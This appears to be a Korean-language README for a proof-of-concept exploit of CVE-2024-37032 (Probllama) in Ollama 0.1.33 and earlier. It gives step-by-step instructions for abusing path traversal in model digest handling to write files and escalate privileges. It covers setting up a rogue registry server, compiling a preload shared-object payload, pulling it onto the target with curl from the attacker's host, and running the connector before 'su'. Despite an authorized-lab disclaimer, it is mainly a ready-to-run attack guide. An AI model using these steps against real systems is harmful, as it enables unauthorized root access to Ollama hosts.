
CVE-2024-37032 (Probllama) Ollama ≤0.1.33용 PoC: 모델 다이제스트 처리를 통한 경로 탐색 및 임의 파일 쓰기로, 자동화된 권한 상승으로 이어집니다.
이 저장소에는 승인된 랩 테스트를 위한 개념 증명(PoC) FastAPI 레지스트리 서버, 커넥터 스크립트 및 프리로드 데모 라이브러리가 포함되어 있습니다.
소유한 시스템 또는 명시적으로 테스트가 허용된 시스템에서만 사용하십시오.
server.py: FastAPI PoC 서버를 시작합니다.rogue_server/config.py: PoC 서버의 중앙 구성입니다.connector.py: 대상 Ollama API에 pull/push 요청을 보냅니다.preload_privs_demo.c: 공유 객체 페이로드용 C 소스입니다.requirements.txt: PoC 서버의 Python 종속성입니다.호스트 머신에서 Python 종속성을 설치합니다:
python -m pip install -r requirements.txt
호스트 머신에서 rogue_server/config.py를 편집합니다:
HOST = "<your_host_ip_or_host_ip>"
connector.py를 편집합니다:
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
참고:
SERVER_HOST는 server.py가 실행 중인 호스트를 가리켜야 합니다.8000에서 실행되는 경우 HOST와 SERVER_HOST 모두에 포트를 포함하세요(예: 10.10.16.160:8000).TARGET_HOST와 TARGET_PORT는 대상 Ollama API를 가리켜야 합니다. connector.py가 대상 머신에서 직접 실행되는 경우 127.0.0.1:11434가 일반적으로 올바릅니다.rogue_server/config.py를 변경한 경우 PoC 서버를 다시 시작하세요.C 파일을 컴파일하고 출력 파일 이름을 libpreload_privs_demo.so로 지정합니다:
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
승인된 대상 머신에 다음 파일을 복사합니다:
libpreload_privs_demo.soconnector.py간단한 방법 중 하나는 호스트 머신에서 파일을 제공하는 것입니다:
python3 -m http.server 8081
그런 다음 대상 머신에서 파일을 다운로드합니다:
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py
공유 객체를 다운로드한 후 대상 머신에서 해당 절대 경로를 복사하고 호스트 머신의 rogue_server/config.py에 있는 exploit_path로 동일한 경로를 설정합니다.
예시:
exploit_path = "/tmp/libpreload_privs_demo.so"
호스트 머신에서 FastAPI 서버를 시작합니다:
python server.py
기본적으로 이 프로젝트는 0.0.0.0:8000에서 Uvicorn을 시작합니다.
승인된 대상 머신에서 다음을 실행합니다:
python3 connector.py
커넥터는 구성된 Ollama API에 pull 및 push 요청을 보냅니다.
커넥터가 완료된 후 다음을 실행합니다:
su
취약하고 올바르게 구성된 랩 대상에서는 프리로드 경로가 사용되며 권한 전환을 관찰할 수 있습니다.
connector.py의 SERVER_HOST가 rogue_server/config.py의 HOST와 일치하는지 확인합니다.exploit_path가 대상 머신에서 libpreload_privs_demo.so가 존재하는 정확한 절대 경로인지 확인합니다.TARGET_HOST:TARGET_PORT에서 연결 가능한지 확인합니다.rogue_server/config.py를 변경한 후 server.py를 다시 시작합니다.